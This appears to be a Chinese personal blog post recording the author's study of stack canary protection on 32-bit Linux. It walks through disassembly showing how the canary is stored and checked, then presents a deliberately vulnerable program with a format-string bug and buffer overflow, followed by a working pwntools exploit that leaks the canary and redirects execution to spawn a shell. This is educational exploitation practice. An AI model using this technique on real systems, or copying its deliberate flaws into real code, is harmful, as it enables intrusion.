记录一次完整的Canary保护

0x00 总述

最近跟着大佬的博客以及一些视频重新学习了下Canary保护,学到了一些其他的东西,在此记录下来的所学的东西,若有理解错误的地方希望大佬可以指正。

0x01 源代码

#include<stdio.h>
int main()
{
    char str[0x10];
    read(0,str,0x20);
    printf("eur1ka %s.");
    return 0;
}

0x02 编译生成可执行文件

1. 首先先关闭栈堆保护

gcc -no-pie -fno-stack-protector -m32 -o demo1 demo1.c//关闭堆栈保护

2. 在开启栈堆保护生成另一个可执行文件

gcc -no-pie -fstack-protector-all -m32 -o demo1 demo.c

 

 

 0x03 对这两个文件调试

1. 首先对两个文件的main函数反汇编进行对比

 在开启canary保护前后栈中数据存储格式如下:

在开启Canary保护后对边代码多出了几行,接下来我来说明下多出来这几行的意义:

前面几行

   0x080484ac <+17>:    mov    eax,gs:0x14  //将gs:0x14这个段中的数据(即canary的值)放到eax
   0x080484b2 <+23>:    mov    DWORD PTR [ebp-0xc],eax  //再将eax(canary)放到地址为[ebp-0xc]中

后面几行

   0x080484df <+68>:    mov    edx,DWORD PTR [ebp-0xc]  //将[ebp-0xc]中的数据(即之前放到栈上的canary)房贷edx寄存器中
   0x080484e2 <+71>:    xor    edx,DWORD PTR gs:0x14  //将正确的canary值与之前存放到栈上的canary进行异或比较
   0x080484e9 <+78>:    je     0x80484f0 <main+85>   //正确的话跳转到main函数中继续执行
   0x080484eb <+80>:    call   0x8048370 <__stack_chk_fail@plt>  //错误则跳转到__stack_chk_fail函数,程序执行错误

由以上我们可知,若数据发生溢出,之前存放到栈上的canary会发生变化,进而使程序崩溃结束执行

 0x04 实战

这是我自己执行编译的一个程序,源代码和分析情况如下:

#include<stdio.h>
#include <unistd.h>

#include <stdlib.h>

#include <string.h>
void getshell()
{
    system("/bin/sh");
}
void func()
{
    char str[0x20];
    read(0,str,0x50);
    printf(str);
    read(0,str,0x50);

}
void init()
{
    setbuf(stdin, NULL);

    setbuf(stdout, NULL);

    setbuf(stderr, NULL);
}
int main()
{
    init();
    func();
    return 0;
}

对func函数进行反汇编:

   0x080485a0 <+0>:    push   ebp
   0x080485a1 <+1>:    mov    ebp,esp  //进入func函数的栈堆
   0x080485a3 <+3>:    sub    esp,0x38
   0x080485a6 <+6>:    mov    eax,gs:0x14
   0x080485ac <+12>:    mov    DWORD PTR [ebp-0xc],eax
   0x080485af <+15>:    xor    eax,eax   //开启canary保护
   0x080485b1 <+17>:    sub    esp,0x4
   0x080485b4 <+20>:    push   0x50
   0x080485b6 <+22>:    lea    eax,[ebp-0x2c]
   0x080485b9 <+25>:    push   eax
   0x080485ba <+26>:    push   0x0
   0x080485bc <+28>:    call   0x8048410 <read@plt>
   0x080485c1 <+33>:    add    esp,0x10
   0x080485c4 <+36>:    sub    esp,0xc
   0x080485c7 <+39>:    lea    eax,[ebp-0x2c]
   0x080485ca <+42>:    push   eax
   0x080485cb <+43>:    call   0x8048420 <printf@plt>
   0x080485d0 <+48>:    add    esp,0x10
   0x080485d3 <+51>:    sub    esp,0x4
   0x080485d6 <+54>:    push   0x50
   0x080485d8 <+56>:    lea    eax,[ebp-0x2c]
   0x080485db <+59>:    push   eax
   0x080485dc <+60>:    push   0x0
   0x080485de <+62>:    call   0x8048410 <read@plt>
   0x080485e3 <+67>:    add    esp,0x10
   0x080485e6 <+70>:    nop
   0x080485e7 <+71>:    mov    eax,DWORD PTR [ebp-0xc]
   0x080485ea <+74>:    xor    eax,DWORD PTR gs:0x14  //检测canary的数据是否被破坏
   0x080485f1 <+81>:    je     0x80485f8 <func+88>
   0x080485f3 <+83>:    call   0x8048430 <__stack_chk_fail@plt>
   0x080485f8 <+88>:    leave  
   0x080485f9 <+89>:    ret    

我们可以知道,str占用了0x20个字节,将其填充玩之后紧接着就是canary的数据,如溢出则canary的数据会被修改,程序检测后会崩溃。则可以知道:payload=20个垃圾数据+canary+(offset_canary个垃圾数据)+gethsell.addr

注:offset_canary为canary距离返回函数地址的大小

我们使用gdb调试进行分析,在func函数下断点

 

 我们找到canary的数据和函数返回地址:

 

计算出offset_canary为12接着我们构建完成payload并写出exp如下:

#coding:utf-8
from pwn import *
context.log_level = 'debug'
sh = process("./canary")
getshell_addr=ELF("./canary").sym["getshell"]
canary_offset = 12
payload = 'a'*0x20
sh.sendline(payload)
sh.recvuntil(payload)
canary=u32(sh.recv(4))-0x0a
payload+=p32(canary)
payload+='a'*12
payload+=p32(getshell_addr)
sh.sendline(payload)
sh.interactive()

 

posted @ 2021-01-30 19:12  eur1ka  阅读(345)  评论(0)    收藏  举报